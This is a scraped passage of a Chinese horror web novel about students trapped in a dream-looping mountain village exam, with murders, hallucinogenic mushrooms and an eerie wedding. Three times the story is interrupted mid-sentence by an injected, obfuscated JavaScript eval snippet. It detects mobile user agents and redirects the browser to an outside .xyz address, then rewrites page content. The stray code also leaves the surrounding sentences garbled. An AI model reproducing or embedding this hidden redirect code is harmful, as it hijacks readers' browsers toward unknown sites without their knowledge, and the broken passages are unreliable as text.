“你看到他们杀人了还是我们杀人了?”陈喻一头雾水地看着眼前飞快暴走的男人,“死了两个了还能继续杀,这个考场没有限制的吗?” 然而,男人就像魔怔了一样,满脸怒火,像地狱里刚放出的野兽一样逮着人就撕咬。 “——啊啊啊!!!” 有人闪避不及时,被砍到了胳膊,有人被劈到了腿,甚至有人被划破了脸,连脸上的白骨都暴露在外面。 “我去!这也太不讲理了吧!”短发女震惊了,“人怎么能不要脸成这样!” “我还说是你儿媳妇杀了我们两个伙计呢,这里谁更惨一目了然吧,你儿媳妇好歹比我们的伙计完整吧。” 她不说话还好,她说完男人似乎更暴躁了,拿着砍刀跟带了定位一样,照着她一个人砍。 小胖崩溃:“我说什么来着,不要老惹NPC。” “他怎么这么玩不起!”短发女边喊边狼狈躲闪。 时越在一边感慨:“这人虽然之前吓我,但也算个英雄。” 没听到身边的人吱声,她转头一看,陈喻不见了。 再扭头一看,她怎么站那疯子后面了?! 陈喻随手拿出考场之前发的限定道具,手里轻巧短小的水果刀简直就像是男人手里的迷你版,这玩意儿看起来真的不像个武器,它像个笑话。 短发女越跑体力越跟不上,这男的的状态却一如开始,这家伙看着真不像个人,反而像是个怪物。 正这么想着,她觉得脚下一滑,竟然倒在了地上,男人似乎很有把握,看到这一幕,露出了变态的狞笑,高高举起了手里的砍刀。 她知道,来不及了。 “班长!!!” “——啊啊啊!!!” 小胖心惊肉跳,却发现叫喊的竟然是男人。 短发女睁开了一只眼,看到了手持迷你水果刀的陈喻一刀戳进了男人腿部。 因为害怕他察觉,陈喻蹲的角度太刁钻了,以至于她只能够到这个位置。 陈喻捅完那厮带着更重的怒火朝陈喻走来了。 陈喻看着那把有她大半个人那么高的大刀,她不得不承认人有时候很难不腿软。 “你儿媳妇真的是他们杀的吗?”陈喻离他太近了,近到有些来不及跑了,她破罐破摔地打量着那个男人,“你为什么会这么大反应,难道人其实是你杀的吗?” 男人的表情变得疯癫,陈喻清楚地看到他眼中的什么在碎裂、在崩塌,她反应过来似的回了个头,发现崩塌的正是她身后的一切,所有的土所有的树,整个大山都在崩塌,她甚至觉得自己站不稳了。 眼前的大刀即将落下,脚底的地面正在崩塌,整个画面荒诞到她甚至一时没有回过神来,一切就消失了。 浓雾遮住了陈喻所有的视线,她低下头,荒芜的土地上散落着一些碎石,连碎石的位置都跟她刚来的时候一模一样。 “这是……循环吗?”她轻声说。 眼前的雾突然消散,暴露出周遭所有的环境,熟悉的十二个考生里少了两个人,正是之前死在屋子里的一男一女。 不过之前受过伤的人现在已经恢复之前的模样。 “循环倒不一定。”短发女抱着双臂,看着空无人烟的山路,“还记得之前那男的说过什么吗?我现在怀疑刚刚那些都不过是一场梦。” “我们睡着了?”时越迷惑。 “我们没有睡着,但是睡着的另有其人,这么场景丰富的梦肯定不是我们做的啊。” “你是说,我们从一开始……就进入了别人的梦?”陈喻的眉头不自觉蹙起。 23. 迷梦之乡(3) “班长,你没伤到哪吧?”小胖男生赶忙跑到短发女身边。 “我好着呢。”短发女拍了拍小胖的肩膀,扭头冲着陈喻点头,“刚刚谢谢你啊。” “饿鬼大学还有班长吗?”陈喻忍不住问。 短发女瞅了一眼她跟时越脸上茫然的表情,笑着说:“你们是不是还没去过班级?” “我们是新生,只参加过一场考试。”时越一脸清澈。 短发女听完愣了一下:“你们是不是考研报名资格考试那一场进来的新生?” 时越点了点头,短发女一脸敬佩地拱了拱手:“那很厉害啊。” “饿大当然没有班长了,有没有一种可能,他喊的一直都是我的名字?” 时越:“你叫班长?” “我叫班章,勋章的章,喊起来有点奇怪,他们就都喊我班长。”短发女笑着推了旁边的小胖一把,“这个呢,是我的跟班,叫张天天,特别好记。” 张天天一脸无奈地冲她俩笑了笑。 “似乎没有村民来接我们啊。”队伍里一个男生有些焦躁,“我们是不是得自己找过去啊?” “为什么非得找过去啊?好不容易出来了咱还不如直接跑了,干嘛非得去村子里送死啊?”有人抱怨起来。 “你第一次参加考试啊,你要往哪跑啊?题答不完卷交不了谁能从这跑出去啊?还不如进村子多拿一点线索。” “话说回来,他们俩真的死了吗?” “活不见人,死不见尸的,总要进去看看才知道。”班章说,“咱们里面有没有方向感好一点的啊?有谁还记得去山村里面的路?” “我大致记得。”回应她的是一个扎着低马尾的女生。 低马尾的女生根据记忆里的路线把众人领到了熟悉的村落,陈喻远远地就看到了坐在村口的姚大婶,她空洞麻木的眼神就这么往外张望着,似乎在等待着什么,这一幕与上一次过来时几乎一模一样。 “大婶,你是在等人吗?”陈喻半蹲在地上问姚大婶。 可那女人只是木木地看了她两眼,便将视线又挪了回去,丝毫没有搭理她的意思。 “陈喻,你对待NPC还是太温柔了。”班章抱着手臂挑着一边眉毛,“你就应该把刀架在她脖子上问,我就不信……” “你消停点吧,姑奶奶。”张天天说着就把班章往远处推去。 “算了,咱们先去之前出事的地方看看吧。”陈喻站起身来。 下次再过来就把刀架她脖子上,陈喻在心里默默地想。 柴房的门并不像之前看到的那样大开着,而是紧紧闭着,上面甚至挂了把大铁锁。 “陈喻陈喻,你快问问谁会开锁啊?”班章倚着陈喻肩膀眨眼。 “……不会是你吧?”陈喻一脸茫然。 “哎,这你不就问对人了嘛,我向来可是集万千本领于一身呐。” 张天天一脸没眼看地在旁边扶额。 “天儿,别扶额了,快过来搭把手。” 只见班章从散着的头发里摸出了一枚卡子,对着铁索鼓捣了半天。 时越认真地趴在旁边看了一会儿,然后目光复杂地看了班章一眼。 “九月,你别拿这种眼神看我,咱都正经人,这叫技多不压身。”班章甚至没有把视线分过来,仅凭余光就察觉到了对方的眼神。 “我叫时越!你才九月!” 就在身后几个人等得有些不耐烦的时候,铁索应声落地,班章一脚踹开了屋门。 扑面而来的气味直冲脑门,满墙满地都是鲜红的血迹,整个屋子像是泼了红墨一般,干枯的稻草上凌乱地堆放着肉块和脏器,两个人已经完全看不出人形了。 “他俩不会在里面被榨成汁了吧。”班章看着四处弥漫的血迹说。 “还是这样,眼睛和舌头都被挖走了。”陈喻忍着恶心蹲在地上强迫自己搜索证据。 “是不是因为看了什么不该看的,说了什么不该说的……”班章顿了一下说,“看来也听了不该听的。” 陈喻向她视线的方向看去,地上的尸首果然连耳朵也被撕扯了下来。 跟之前同样的,地上还躺着第三个人,是那个衣不蔽体的女人,她浑身淤青,唯一不同的是,她这次肚子上多了把刀。 那把刀陈喻再熟悉不过,不久之前她还拿着那把长得像笑话一样的刀捅了疯男人一刀。 ——那是本场考试的限定道具。 地上甚至还扔着一把沾满血迹的同样的刀。 也就是说,他们俩捅了那个女人。 难道真的是他们杀了人吗? “刚刚那些真的是梦吗?如果是梦的话,难道在梦里发生的事都变成真的了吗?”时越看着眼前的一切显得格外迷茫。 这比上场考试难太多了,他们不知道死亡条件,甚至分析不出来这两个人怎么出的事,谁也不知道自己下一次遇到同样的境遇会不会也是同样的下场。 “这就是咱们的道具,他们确实杀了人,可能这就是杀NPC的代价吧。”一个穿着一身皮衣的男人说。 “不合理啊,他们干嘛没事要对一个手无缚鸡之力还被锁着的女人下手呢?”班章用手指摩挲着下巴。 “也有可能是对面先动的手,因为畏惧?幻象?”陈喻微蹙眉头,“或者是刚刚的遭遇。” “有一个问题。”班章看着陈喻,“他们俩究竟是直接死在了梦里还是说……” “……出来之后又遇到了不测?”陈喻接道。 如果之前真的是梦的话,那在刚刚的梦里他们俩身边分明没有这两把刀,是出来后才多出来的。 之前地上的女人肚子上也没有刀伤,是现在才有的。 “你倾向于哪种?”班章问。 “他们大概出来了。”陈喻说。 班章点了点头。 不知道哪个多事的村民突然进来转了一圈,然后大喊大叫开始在整个村子里传送消息。 “——妈呀!铁柱媳妇没了!!” “——你们快去瞧瞧啊!!” “——铁柱妈你快去看看啊!!” 前几句还算正常。 “——外乡人屠村了!!!” 众人:? 陈喻默不作声拿起了地上那把小刀,直接就捅在死去考生的某块胳膊上,还没等她再动作,就看到班章已经把原本捅在女人肚子上的刀插在了这边尸体的的脖子上。 班章余光扫到她的视线,冲她扬了扬眉。 “你们来得正好,你们村谁管事啊?出了这么大的事总要有人主持公道。”班章看着围了一整圈的乡亲满腹怨气地说,“看看啊,都来看看啊,看给我们兄弟姐妹整成什么样了!连个人形都找不到了!” “知道这是谁吗?这可都是我们亲亲的表弟表妹,我们一大家子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581446|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻你们村子名声好才慕名而来,要知道会弄成这副样子打死我们也不来!!” 时越趴在陈喻肩膀上看得目瞪口呆,这家伙明明在人家的地盘被人家一村人围了,结果自己理直气壮比谁胆都正。 “这事怎么了啊?你们自己说道说道!!”班章两手一抱态度强硬。 “我好好的儿媳妇都让你们害死了!她肚子可还有我们老李家一脉单传的孙子呢!!如今一尸两命!你说怎么赔?!”李大娘连哭带喊,面目狰狞。 “怎么,你儿媳妇的命是命,我弟弟妹妹的命就不是命了吗?!你们村子一直都是这么仗势欺人的吗?!” 班章说完之后似乎还真出来一个人来当和事佬。 “二位都稍安勿躁,铁柱妈你也不要太着急,媳妇没了还能再找呢,人家可是丢了亲人呐。”站出来“主持公道”的人意味深长地朝着李大娘说了几句,这人似乎在村民中有一定的威望,李大娘听了果然态度稍微缓和了一些。 “要我不计较也行,你们挑个姑娘出来给我当儿媳妇,给我家重新生个大孙子。”李大娘狞笑着说。 班章听完冷笑了一下:“李大娘可真大度,不过我可不大度,我计较得很,就算李大娘给我生几十个孙子我也得好好计较计较。” 李大娘听了脸都气青了,冲上去就要跟她掐。 张天天赶忙冲了上来:“干嘛啊,怎么还动手了。” “我们不妨各让一步,你们给我们时间查明真相,我们也暂时不计较死人的事,等到时间到了你们是要儿媳妇也好,大孙子也好,我们都悉听尊便。”陈喻一把掀开李大娘的爪子。 “可以,但是时限呢?”刚刚当和事佬的男人说。 “不多,就七天吧。”陈喻说。 “不行,三天。”李大娘瞪着眼睛扯皮。 她刚刚说完脚下就扎下一把水果刀,那把刀上甚至沾满了血迹。 “——啊!!!” 班章拿起尸体上的刀就朝着她脚边扔去,准头和力道都把握得正正好好,直直扎进她脚边的土地里。 “七天,一天不多,一天不少。”班章说。 和事佬拉了把失魂落魄的李大娘,并代替她表示了同意,甚至答应寻找真相的这几天安排好他们的住宿问题。 村民走后,陈喻问班章:“这个死亡率是不是不对劲?” “你想想一天死俩,六天就能团灭,难怪这个考场考生多考试时间还短,原来是死得快啊。”班章感叹道,“而且这还不是名额类考试,根本不会有捡漏者,完全可能群灭。” “不过人在考场,发生什么不对劲也都不奇怪。” “你们现在有没有什么感觉?”队伍里一个男生突然开口。 “怎么了吗?”有人紧张起来。 男生有些不好意思地挠了挠头:“你们……不饿吗?” “……” 众人像是反应过来,同为饿大的学生,他们早就都饿得前胸贴后背了。 “这里有什么能吃的吗?” “友情提示,咱们校内考场的餐饮这块你们还是不要指望了。”班章说。 “不能吃吗?”时越问。 “物理上能吃,心理上未必。” “再说了,刚跟村民闹成这样,他们也不可能还给咱们提供饭菜吧。”一个女生说。 说到吃,陈喻不自觉想起了自己的蘑菇。 24. 迷梦之乡(4) “你别告诉我,我们今晚住这?” 穿着皮衣的男生黑着脸看着眼前空荡荡的柴房。 干裂的土地上铺着一层厚厚的干枯稻草,接近房顶的位置开了一小片类似窗子的空隙,土墙还在不断往下掉落土渣,整个屋子都充斥着一种难以言喻的发酵后的恶臭。 这里跟之前死人那间柴房相比,唯二的区别就是:首先,这里没有尸块;其次,这里比那边宽敞。 村民退了一步,但没完全退。 “你们自己挑吧,反正我不住这间。”皮衣男说。 “如果我没理解错的话,他刚刚的意思是说我们所有人都住在这里吧。”陈喻打量着屋内的环境。 “什么?!”皮衣男崩溃,“不行,我受不了跟别人住一间。” “那你一个人住外面去吧。”低马尾的女生说。 “你什么意思?!你想让我死是吗?!” “这里是考场,又不是旅馆。” “想要单间还不简单,你去跟NPC干架,想要什么都不是问题。”班章随口扔下一句,就拉着张天天朝外走去了。 如果是别人,皮衣男可能就继续跳起来反驳了,但这个人……皮衣男完全相信她有可能和NPC去干架。 陈喻也没什么心情跟这群人扯皮,拽着时越往偏僻的地方走去。 阴暗潮湿的山谷里看不到日升日落,只有越来越浓郁的黑暗在提醒他们夜晚降至。 将黑未黑的傍晚,村落中不起眼的一角弥漫着一种诡异且难以言喻的蘑菇味。 “这什么东西?” 班章和张天天循着神秘的气味而来,就看到一个粗糙的铁锅被架在几块砖头上,转头中间留出的空隙里正燃着枯枝烂草,黑气把本就不算干净的铁锅染得像块碳。 锅里煮着一些看起来状似蘑菇的东西,汤面正不停咕噜,冒出一些泡泡来,汤色浑浊,不知道是不是锅的问题,汤的颜色甚至有点微微发绿。 “传说中的巫婆汤?” 班章不得不承认,她闻到那个味道居然更饿了。 “这是蘑菇汤。”时越瞥了班章一眼。 班章双手抱臂打量了一下两人:“村里还有蘑菇?这能吃吗?” 时越没说话,只是偷偷瞧了旁边的煽风认真煮蘑菇的陈喻一眼。 班章跟着那眼神瞅过去,意味深长地看着陈喻说:“你的技能不会是种蘑菇吧?” “不过,这锅是哪来的啊?”张天天忍不住疑惑。 时越没吭声,只是默不作声瞄了一眼脸上蹭灰的陈喻。 这一幕被班章收入眼底,她笑着朝陈喻挑起一边眉头:“你不会是威胁村民了吧?” 陈喻兢兢业业地拿着大树叶子扇风,好让火能旺一点,她连眼睛都没偏一下:“时越,你没事能不能别老看我了。” “还有,你是十万个为什么吗?”她抬头看着满脸坏笑站在锅前的班章,很是无奈。 班章佯装委屈,捂住嘴巴:“你俩在这偷偷吃独食不带我,还不许我问了。” 班章话音刚落,不知道身后从哪里窜出几个小男孩来,他们似乎在疯跑打闹,追逐中那锅好不容易沸腾的蘑菇汤被一脚踢飞了。 陈喻:“……” 想刀一个人的眼神是藏不住的。 就在陈喻准备站起来收拾那帮小孩的时候,时越一脸清澈地从身后端出一个碗来,那碗里乘着满满一碗蘑菇:“还好我机智,刚刚准备试一下熟了没有。” “怎么样?”陈喻问。 “哇塞!!好吃哎!!这就是传说中的厨艺吗?!我也太强了!”时越吃了几口疯狂感叹。 班章听到这里又笑嘻嘻凑了过去:“九月,你的技能该不会是厨艺吧?” 陈喻:“……” 她到底该拿这藏不住事的家伙怎么办? “你不觉得你有点越界了吗?”陈喻面无表情地看着一脸嘻嘻哈哈的班章。 班章察觉到她的神情,依旧满脸笑意:“那也是因为我们之间本就不应该有界啊……” “不好意思啊,她就是喜欢胡言乱语,你们慢慢吃吧,我们就不打扰了。”张天天边说边把班章往外推去,“闭嘴吧,活祖宗。” “……” 短短几分钟就把她俩的技能全猜出来了,而且甚至猜到了她的行径,这个班章确实不简单。 就是不知道她到底是什么样的人,她这样的人,若是做队友,自然会事半功倍,若是成了对手,那应该会很棘手了。 陈喻早就饿得不行,狼吞虎咽了几口,那味道确实不错:“你怎么确定是厨艺的问题呢?这分明是蘑菇好吃吧,咱们用清水煮的。” “厨艺!这肯定是厨艺!!”时越坚持。 “蘑菇!肯定是蘑菇!!” …… 天色暗了下来,村子里的灯火像是商量好的一样,齐齐熄灭。 众考生零零散散地在柴房的枯草上窝着,陈喻和时越回来的时候,看到考生一个不少的都在这里苟着,皮衣男也没有如愿住上单间。 他们三三两两聚堆似乎在讨论今天的遭遇,分析这场考试的解法。 陈喻还没往前走,就看到班章笑意盈盈朝她走了过来。 这货真的有点大病在身上,她不是正常走过来的,她家伙是扭来扭去扭过来的,都快把自己扭成麻花了。 “你又有什么诡计?”陈喻下意识开口。 不知道为什么,这家伙好像使用了什么伎俩,平白比她高出了好多。 “我哪有什么诡计,我分明只有满腔的善意啊。”班章满脸坏笑。 陈喻却说不出话了,因为她发现……这货说话的时候为什么还特么是带字幕的?! 班章那张带着坏笑的脸在她面前无限放大,她感觉到对方拉扯着自己的脸。 那货说:“喻,来,笑一个。” 要死了,她居然动不了?! 不行!她岂能任人摆布?! “哇,头一次见人一边翻白眼一边笑的。”班章带着惊喜的声音从她耳边传来,“天儿,她俩实在太好玩了。” “小月,来,叫姐姐。” “我去,她居然吐我口水。” “说了让你收敛一点的。”张天天无奈。 “你看看她俩现在这样,这谁能忍住不逗。”班章理直气壮。 其他考生往这边看了好久,但两人最终被班章拖了过去。 柴房里原本是在几个角落点了蜡烛的,可不知道什么时候,那蜡烛被一阵风全部吹灭了,扎着低马尾的女生原本就有些睡不着觉,看到这一幕更精神了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604556|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许是因为天气不好,夜晚的村子连一丝月光也看不到,只剩下一片伸手不见五指的黑暗。 干燥熏臭的柴房里,不知从哪里突然飘来丝丝缕缕的奇怪香气,原本精神紧绷的低马尾没过多久竟然觉得困倦了。 陈喻是被低低的啜泣声吵醒的,那声音仿佛一个女人在她耳边不断哭泣呐喊,但那声音嘶哑,气息似乎比旁人微弱,那女人仿佛一直在她耳边轻声说“救救我……”。 “救救我……救救我吧……求求你们了……我不想这样活下去……带我离开吧……” “——啊!!!——救救我吧!!!——我不要死在这里!!!” “杀了我吧!!……杀了我好吗?……不……应该是他们死才对……都杀了……” 声音从执拗的求助到痛苦的嘶吼,最后又变成了偏执又恶毒的诅咒,尖细的嗓音似乎离她很近很近,就贴在她的耳边,她甚至觉得自己能感觉到耳廓被呼吸打到的感受。 除此之外就是一些铁质锁链被拉扯晃动的声音,以及类似尖锐指甲划擦墙面的声音,这些声音离陈喻越来越近,在不断刺激着她的耳膜。 那带着哭腔的声音在空旷的环境里好像有回音一样,每喊出一句陈喻就觉得自己听到了四面八方的好多声,她几乎可以肯定,这绝对不是团队里的考生。 陈喻刚刚准备睡觉的时候还觉得团队里有人睡觉打呼噜很吵,此刻居然怀念起那几道呼噜声,因此现在的屋子显然安静得有些不正常,只能听到那女人的声音,不用说,这些声音八成有些问题。 陈喻认命般睁开了眼,准备迎接这场考试对她的洗礼,可当她睁开眼,看到的并不是一片黑暗,而是五颜六色的世界,像是开了什么神奇的滤镜一样,所有的画面都变成了扭曲的高饱和色彩,乍一眼看上去好像看到了许多东西,仔细一看又扭曲到什么都看不清,只有一堆活跃的小人在她眼前蹦来蹦去。 陈喻:“……” 她又认命地闭上了双眼,没办法,她已经无法正常视物了。 或许是因为陈喻完全没有反应,女人变得急切起来,她开始在旁边哀嚎,她开始疯狂嘶吼,锁链的声音叮叮咣咣在整个屋子的各个角落响起,锐利的指甲仿佛划上了陈喻的皮肤,可陈喻就是不睁眼。 她像是睡死过去了一样,让女人越来越暴躁,以至于在陈喻耳边尖叫怒吼了一整个晚上,一直到天光乍现,才满腔愤恨地无奈收手。 说实话,陈喻一晚上也没怎么睡着,虽然还挺困的,但不断受着心理和生理的双重折磨,实在心有余悸。 “天终于亮了。”她睁开眼,发现自己也终于能正常视物了。 “昨晚……是不是有什么东西一直在叫喊?”时越揉着脑袋爬起来,“虽然很吵,但我真的很困,我已经很久没有像昨晚这么困了。” “哟,你俩醒挺早。”班章睡眼迷离,还不忘调侃她俩,“还记得昨晚怎么回来的吗?要不要我帮你们回忆一下?” “要我帮你们回忆你们昨晚是怎么从门口一路蛄蛹进来的吗?” 时越:“……” 陈喻:“……” 蘑菇有毒。 班章也有毒。 不过看时越这架势,昨晚应该是和她一样的遭遇。 难道所有人都听到了吗? 25. 迷梦之乡(5) “你是说那东西昨晚是冲我们俩来的?”陈喻捏了捏眉心,强行打起精神来。 “那蘑菇效果挺强的啊,昨晚你们俩一个都没醒来,那东西肯定气死了。”班章笑着说,“你说我怎么就没想到这种好方法呢,晚上直接把那些东西屏蔽掉,天儿,下次我也要试试。” 张天天回以微笑:“那是运气好,如果他们晚上动手的限制不是这个,怎么死的都不知道。” 班章摸了摸下巴:“那也行啊,无痛离开。” 张天天:“……” 夜晚的声音始终刺激着陈喻,以至于她几乎一晚上都没有入眠,不过据班章说,幸好她当时吃了毒蘑菇已经处于幻觉状态,什么都看不清了,否则她昨晚睁眼看到的就不是光怪陆离的画面和四处乱跳的小人,而是鬼怪的无情贴脸了。 除了时越表示昨晚跟她一样听到了一整晚女人的哭喊怒吼以外,其他人毫无感觉,他们甚至睡眠质量意外得好。 “今天什么行动?”考生里一个剃着寸头的男人问。 “跑又跑不了,只能继续在村子里找线索了。”低马尾的女生说。 “找线索?那两个人怎么死的都没人知道,谁知道咱们会不会是下一个,这村子肯定有什么毛病,要我说,与其自己找死倒不如耗时间,反正考试时间只有七天。”皮衣男瞪了低马尾一眼,“再说了,我觉得大家呆在一起遭遇都是一样的,死亡率也不会那么高。” “如果大家呆在一起遭遇完全一样,那么怎么解释昨晚的情况?”陈喻说。 班章带着气音的笑声从角落里传出来。 “各位的考试经验真的是有点匮乏啊,知道技能升阶考属于哪类考试吗?非固定名额类考试是不会有死亡率限制的,即便你把考试时间熬到,只要你答不出题就会被淘汰,尽管整个考场只剩下你一个人。”班章抱着双臂靠在墙角,“你们进考场之前都没有了解过升阶考完全是有全灭风险的吗?” “还有,待在一起并不能规避死亡风险,那些东西会继续从中随机挑选考生,你说的那种方法可以说是一种最被动的找死。” “那找线索的话,大家目前有没有什么头绪?”一个披肩发的女生说。 班章接过她的话:“有一点吧,我想大概是……” “婚礼。” 陈喻几乎和班章同时出声。 她们的视线对上,班章冲她笑了一下。 之前那个男人说过,狗娃今天要娶媳妇,办酒席,这些都是题目信息。 不知道为什么,这座大山总是被雾气包裹,阴沉沉的天气莫名给人潮湿阴冷的感觉,或许是因为昨天的意外,今天他们都凑在一起没怎么分开。 他们在村子胡乱溜达了一阵,来到村口附近时果然看到了婚礼的迹象。 大大的红灯笼连成了线从村口往里面挂着,红色的囍字贴得到处都是,那些鲜红的色彩在阴暗潮湿的山谷里显得格外诡异。 不知道是不是陈喻的错觉,她总觉得那些鲜红都是湿润的,像是被还未干透的血迹浸染的一样。 “……我昨天晚上做了个梦。”时越在陈喻耳边嘀咕,“不是昨天咱们进去的那种梦嗷,就是普通的梦。” “你梦到什么不对劲的了?”陈喻看着她欲言又止的神色。 “……其实也没什么,我就是梦到有个女生一直在喊我小越……” “我可没喊你。”陈喻说。 “我知道不是你,但梦里那个声音似乎很熟悉,可我怎么也想不起来。”时越苦恼地抓着脑袋,“如果只是这样我也不觉得有什么,可我在上一个考场的展览馆晕过去那次也做了同样的梦。” “只是声音吗?画面呢?” “画面很模糊,大多时候是一片黑暗。” 还没等陈喻再跟时越说什么,她感觉手里多了一样东西,那是一封类似请柬的东西,大红色的信封拆开是一个用朱红色的笔书写的歪七扭八的“囍”字。 “我家狗娃成婚,今晚要办酒席,你们可一定要来啊,讨个彩头。” 说话的是姚大婶,她堆满皱纹的脸上僵硬地挂着笑意,莫名有种皮笑肉不笑的感觉。 陈喻认真看了她一眼,她的眼睛很浑浊,脸色蜡黄暗沉,被大山里的风霜摧残得粗糙黯淡。 今天的姚大婶没有坐在村口发呆,也没有一言不发地不搭理人。 “狗娃他爹什么时候回来?”陈喻突然开口。 她刚说完就看到对面姚大婶的眼神以肉眼可见的速度变得冰冷下来,转而似乎又带了些什么别的情绪,连同脸上堆砌的笑意也不见了。 “不回来了,他回不来了。”姚大婶眼神迷离地说。 乌鸦的叫声莫名地惹人烦,陈喻抬头看去,这些烦人的家伙又在头顶转圈。 不知道是不是他们的错觉,今天的傍晚似乎来得格外快,赵老汉和赵婆婆似乎请了全村的人来。 不过想来也是,连跟他们闹得这样不愉快的外人他们都请来了,自然不会少了每家每户。 “什么时候上菜,我快饿死了。”时越看着面前空荡荡的桌子,他们十个人围坐在一起。 “他们敢上,你敢吃吗?”班章笑着问时越。 “随便吧,我觉得我现在饿得能吃下一头牛。” “再上晚一点,你估计要啃NPC了。”陈喻说。 “……” 昨晚毒蘑菇事件之后,陈喻和时越失去了最后的食物,就指望今天的宴席上能有什么人勉强可以食用的东西,甚至今天时越饿急了,差点又熬了一锅蘑菇汤。 “虽然但是,突然有点尿急,我想去上个厕所。”寸头男有些不好意思地说,“你们谁胆子比较大,陪我出去一趟呗。” “我跟你一起吧。”队伍里一个中年男人说。 他俩走后,皮衣男瞅着背影说:“昨天那俩怎么挂的他们忘了吗?居然还敢上厕所。” “不上难道要被憋死吗?”低马尾说。 皮衣男突然站起来用力拍了把桌子,本就不平稳的木制桌板被拍得晃动了好几下。 “妈的!薛纯!老子忍你很久了!” “谭修杰,你别太过分了!” 班章头疼地按了按眉心:“不吃饭就下桌,要吵出去吵。” “不在考场轻举妄动难道不是常识吗?在NPC的婚礼上吵架,你俩是嫌死得不够快吗?” 谭修杰和薛纯往四周看了一眼,发现周遭坐着的村民果真将视线全都投了过来,他们的眼神看起来甚至有些凶狠。 “婚礼开始了。”陈喻说。 陈喻说完大家的眼神都聚焦在房间门口。 首先走出来的是新郎,他穿着中式的大红色袍子,像是民国时期的扮相,衬得他的皮肤更加黝黑,他满脸痘痘的脸上堆砌着笑意,眼神里透露着一种诡异的窃喜。 “是我的错觉吗?新郎看上去油腻又猥琐。”时越不自觉皱着眉头。 “很难不这么觉得。”陈喻也微微蹙起眉头。 说实话,新郎的眼神有些像村民看他们的眼神,那眼神极其让人不舒服,就好像在盯着一块收入囊中的肥肉一样。 紧接着,新娘也走了出来,她的头上盖着红盖头,看不到样貌,更看不到神情,同样是中式扮相,新娘的裙摆很长,甚至拖在脏兮兮的土地上。 新娘被人搀扶着,似乎走得很慢,身形有些佝偻。 “都开始拜天地拜高堂了,饭菜到底什么时候上来?”时越眼里已经只剩下对食物的渴望。 “他们怎么还没回来?”陈喻望向黑漆漆的角落。 “这么快就送入洞房了?”谭修杰说。 陈喻坐在空荡荡的桌前,越发不安起来。 “——啊啊啊!!!” 嘶吼声刺破长空,那是一道男人的声音,似乎还混杂着女人受惊的叫喊声。 在场的所有人都朝着声音的方向跑去,陈喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622996|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或是心有感应,几乎是第一个冲出去的,跟她一起冲出去的还有班章。 屋内。 陈喻踹开木门,里面并非是新婚的新房,而是脏污烘臭的柴房。 两个熟悉的男人站在里面,地上躺着一个缩成一团脏兮兮的女人。 到目前为止这一幕像极了之前那两位考生出事的画面。 可不同的是,里面多了一个人,这个人正是穿着大红色袍子的新郎,他的胸口和腹部各插着一把水果刀,整个人已经不能站稳,正朝着铺满干草的土地上倒去。 反倒是寸头和那个中年男子,看上去什么事都没有。 陈喻看着眼前的一幕,还没有完全弄明白,刚刚往前走了一步,便瞬间觉得天旋地转,她甚至觉得自己的头和脚打了个颠倒,脑袋朝着土地向下扎去,脚却向着房顶踩去。 难道毒蘑菇的效果还没有彻底消失吗? 还是说她又中招了? 她重新睁开恍惚的双眼,看到的却不再是柴房的景象,甚至连天色都变了。 村口的大红灯笼连成了线,姚大婶依旧坐在村口往外看去,堆满皱纹的脸上不见任何笑意。 又是这样。 “今天我就要成婚了,晚上的宴席你们可一定要来啊。” 陈喻手里又多了那封熟悉的请柬。 她抬头,看到了熟悉的面孔,那个给她发请柬的男人分明是刚刚被捅死的新郎。 “这……什么情况?”时越看着新郎诡异的笑容。 “又是梦。”班章“啧”了一声。 陈喻整个人都不好了。 到底是什么时候进的梦? 这特么又是谁的梦?! “他居然没死。”陈喻说着朝刚刚那间柴房的位置跑去,“也不知道他们俩怎么样?” 陈喻冲进了柴房,柴房里却什么都没有了,只有扑面而来的血腥气以及满屋子的血迹能证实这里确实出了事。 可这些血迹真的是新郎的吗?可新郎明明好好的。 她顺着血迹看去,看到了一些类似碎肉或是皮肤碎片一样的东西。 “——卧槽!!!” 时越后退了五六步闪到班章和张天天身后:“卧槽!!那……那有个眼珠子!!” 如果刚刚陈喻还不确定的话,现在她基本可以确定,出事的肯定是那两人。 因为她在干草下面以及眼珠子附近发现了两人的衣物碎片。 寸头和那个中年男子也没了。 “我之前说什么来着!离队就是送死!妈的!这以后谁还敢上厕所!”谭修杰开始抓狂。 “这跟上次完全不一样啊。”薛纯抓着脑袋。 “有什么不一样?!都是一样的场景一样的死两人!” “上次那两个人死在了梦里,然后在现实中他们也死了。”薛纯努力理顺关系,“可是这次死在梦里的不是新郎吗?为什么出来后死的会是他们呢?” 